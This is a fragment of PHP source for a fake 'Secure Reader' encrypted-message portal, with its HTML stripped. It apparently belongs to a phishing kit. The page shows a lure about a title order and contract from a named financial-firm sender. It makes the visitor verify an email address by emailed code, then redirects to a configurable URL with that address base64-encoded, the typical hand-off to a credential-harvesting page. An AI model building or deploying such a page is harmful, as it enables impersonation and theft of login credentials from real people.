Secure Reader – Email Verification

Your verification code is:

{$code}

This code will expire in 5 minutes.
If you did not request this, please ignore this email.


This is an automated message – do not reply. "; try { $mail = new PHPMailer\PHPMailer\PHPMailer(true); $mail->isSMTP(); $mail->Host = $smtp_host; $mail->SMTPAuth = $smtp_auth; $mail->Username = $smtp_username; $mail->Password = $smtp_password; $mail->SMTPSecure = $smtp_encryption; $mail->Port = $smtp_port; $mail->Timeout = 30; // Uncomment for debugging SMTP connection // $mail->SMTPDebug = 2; $mail->setFrom($smtp_from_email, $smtp_from_name); $mail->addAddress($to_email); $mail->addReplyTo($smtp_from_email, $smtp_from_name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $message; $mail->AltBody = strip_tags(str_replace(['
','','

'], ["\n","\n","\n"], $message)); $mail->send(); return true; } catch (Exception $e) { error_log("SMTP Error: " . ($mail->ErrorInfo ?? $e->getMessage())); return false; } } // ------------------------------------------------------------------ // Handle AJAX requests (unchanged structure, but added error logging) // ------------------------------------------------------------------ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { header('Content-Type: application/json'); $action = $_POST['action'] ?? ''; if ($action === 'send_code') { $email = trim(strtolower($_POST['email'] ?? '')); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo json_encode(['success' => false, 'error' => 'Invalid email address.']); exit; } $code = sprintf("%06d", mt_rand(0, 999999)); $_SESSION['verification_code'] = $code; $_SESSION['code_expires'] = time() + $code_ttl; $_SESSION['pending_email'] = $email; if (sendVerificationCode($email, $code)) { echo json_encode(['success' => true, 'message' => 'Verification code sent.']); } else { // Provide a more helpful error message global $phpmailer_loaded; if (!$phpmailer_loaded) { echo json_encode(['success' => false, 'error' => 'PHPMailer library not found. Please install it (composer require phpmailer/phpmailer) and ensure vendor/autoload.php exists.']); } else { echo json_encode(['success' => false, 'error' => 'Failed to send email. Check SMTP settings and ensure your server can connect to the SMTP host on port 587.']); } } exit; } if ($action === 'verify_code') { $entered_code = preg_replace('/[^0-9]/', '', $_POST['code'] ?? ''); $stored_code = $_SESSION['verification_code'] ?? ''; $expires = $_SESSION['code_expires'] ?? 0; if (empty($stored_code) || time() > $expires) { echo json_encode(['success' => false, 'error' => 'Code expired or not found.']); exit; } if ($entered_code === $stored_code) { global $REDIRECT_URL; $email_b64 = base64_encode($_SESSION['pending_email']); $redirect = rtrim($REDIRECT_URL, '/') . '/?email=' . urlencode($email_b64); unset($_SESSION['verification_code'], $_SESSION['code_expires']); echo json_encode(['success' => true, 'redirect' => $redirect]); } else { echo json_encode(['success' => false, 'error' => 'Incorrect verification code.']); } exit; } echo json_encode(['success' => false, 'error' => 'Invalid action.']); exit; } ?> Secure Reader • Email Verification
Secure Readerend‑to‑end protection
Secure access required
To decrypt the message, verify your email address.
From: catherine.moore@cardinalfinancial.com
Subject: Re: NEW TITLE ORDER & CONTRACT | 4344 Boyd Avenue [SECURE]